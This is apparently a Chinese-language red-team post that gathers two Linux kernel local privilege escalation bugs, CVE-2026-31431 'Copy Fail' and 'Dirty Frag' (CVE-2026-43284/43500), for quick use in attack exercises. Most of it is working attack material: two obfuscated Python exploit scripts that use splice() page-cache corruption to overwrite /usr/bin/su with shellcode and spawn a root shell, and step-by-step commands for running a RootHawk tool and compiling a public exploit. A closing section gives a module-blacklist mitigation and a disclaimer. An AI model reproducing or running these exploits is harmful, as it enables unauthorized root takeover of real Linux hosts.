上半年的漏洞层出不穷,挑了两个利用简单的汇总一下,攻防时能够快速利用
一、漏洞概述
共同特征:
- Dirty Pipe 漏洞族的延续,都是利用
splice() 将只读文件的页缓存植入内核网络路径,内核 in-place 加解密时直接修改页缓存
二、影响环境
CVE-2026-31431 (Copy Fail)
需 AF_ALG/algif_aead 模块可用:
CVE-2026-43284 / CVE-2026-43500 (Dirty Frag)
影响范围 2017-01-17 至今约 9 年的内核版本:
链式覆盖逻辑:
- ESP 路径:需
unshare(CLONE_NEWUSER) → 大多数发行版可用 - RxRPC 路径:无需 user namespace,Ubuntu 默认加载
rxrpc.ko → 覆盖 AppArmor 限制场景
三、使用方法
方法一:Python 脚本(仅 CVE-2026-31431)
脚本文件:CVE-2026-31431-linux本地提权/exp.py、exp_arm64.py
# x86_64python3 exp.py# ARM64python3 exp_arm64.py
exp.py(x86_64 shellcode):
#!/usr/bin/env python3import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)try:u.recv(8+t)except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")
exp_arm64.py(ARM64 shellcode):
#!/usr/bin/env python3import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)try:u.recv(8+t)except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06caa230181e7dffab08648878bddf7f010c04c1d7400601"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")
方法二:RootHawk 集成工具
项目地址:https://github.com/RoadBicycle-C/RootHawk
RootHawk 整合了多个提权模块的 Go 二进制文件。
选择对应架构:
chmod +x RootHawk-amd64# 查看帮助./RootHawk-amd64 -help# 查看模块列表./RootHawk-amd64 -list# 执行 Copy Fail./RootHawk-amd64 -e CVE-2026-31431# 先备份后提权./RootHawk-amd64 -e CVE-2026-31431 -backup /tmp/su.bak# 提权后执行指定程序./RootHawk-amd64 -e CVE-2026-31431 -backup /tmp/su.bak -exec /tmp/root-task# 执行 Dirty Frag(详细输出)./RootHawk-amd64 -e CVE-2026-43284 -v# 依次执行全部模块./RootHawk-amd64 -any
方法三:Dirty Frag 源码编译
项目地址:https://github.com/V4bel/dirtyfrag 源码文件:dirtyfrag/exp.c
git clone https://github.com/V4bel/dirtyfrag.gitcd dirtyfraggcc -O0 -Wall -o exp exp.c -lutil./exp
四、执行后清理(重要)
Dirty Frag 运行后页缓存被污染,需 root 执行:
echo 3 > /proc/sys/vm/drop_caches
或直接重启系统。
五、RootHawk 完整参数
-list 显示已集成的 CVE 模块-e <名称> 执行指定 CVE-any 按顺序执行全部模块-pk <路径> 指定 pkexec 路径(默认 /usr/bin/pkexec)-backup <路径> CVE-2026-31431 提权前备份 su-exec <路径> CVE-2026-31431 提权后执行指定程序-v 输出详细日志-help 显示帮助
六、临时缓解
补丁未发布前:
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
本文中提到的内容仅供网络安全学习、渗透测试授权演练及研究使用。请勿用于未授权的非法入侵,否则由此产生的一切法律后果均由使用者承担。